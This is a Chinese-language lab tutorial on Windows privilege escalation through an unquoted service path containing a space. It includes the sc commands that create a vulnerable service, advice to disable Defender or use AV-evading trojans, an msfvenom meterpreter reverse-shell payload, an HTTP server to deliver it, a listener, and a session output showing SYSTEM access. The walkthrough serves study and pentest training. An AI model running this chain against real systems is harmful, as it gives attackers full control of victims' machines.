带空格的系统服务提权
一、漏洞原理和利用条件
1、漏洞原理
当系统管理员配置Windows服务时,必须指定要执行的命令,或者运行可执行文件的路径。当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果文件路径没有被双引号包裹的话,空格会截断文件路径,空格前的路径会被当做目标路径
2、利用条件
看到服务执行路径存在空格并没有加引号,路径可写即可利用该漏洞
二、漏洞环境复现
1、开启漏洞服务
C:\Users\Administrator>sc create test_server6 binpath="E:\bin 123\calc.exe" start=auto
[SC] CreateService 成功
C:\Users\Administrator>sc query test_server6
SERVICE_NAME: test_server6
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
2、关闭Defender
这里我们需要把Windows默认的防病毒关闭,实际情况可以使用免杀的木马进行绕过
永久关闭Defender
好的这边漏洞环境已经,准备好了现在我们切换到test用户进行提权
三、提权过程
1、Kali制作反弹shell木马
#生成木马,需要自动迁移进程
msf6 > msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.88.141 lport=4444 prependmigrateprocess=explorer.exe prependmigrate=true -f exe > windows.exe
[*] exec: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.88.141 lport=4444 prependmigrateprocess=explorer.exe prependmigrate=true -f exe > windows.exe
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 901 bytes
Final size of exe file: 7168 bytes
msf6 > ls
[*] exec: ls
windows.exe
2、上传木马
#开启http服务
msf6 > python -m http.server 80
[*] exec: python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
下载木马
3、Kali开启监听
#后台监听
msf6 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.88.141 -P 4444
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 192.168.88.141:4444
#查看后台项目
msf6 > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.88.141:4444
4、更改木马名
重启计算机让服务启动起来,就把我们的木马给运行起来了
5、完成提权
msf6 >
[*] Sending stage (200774 bytes) to 192.168.88.131
#查看会话
msf6 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DESKTOP-74FDETH 192.168.88.141:4444 -> 192.168.88.131:49668 (192.1
68.88.131)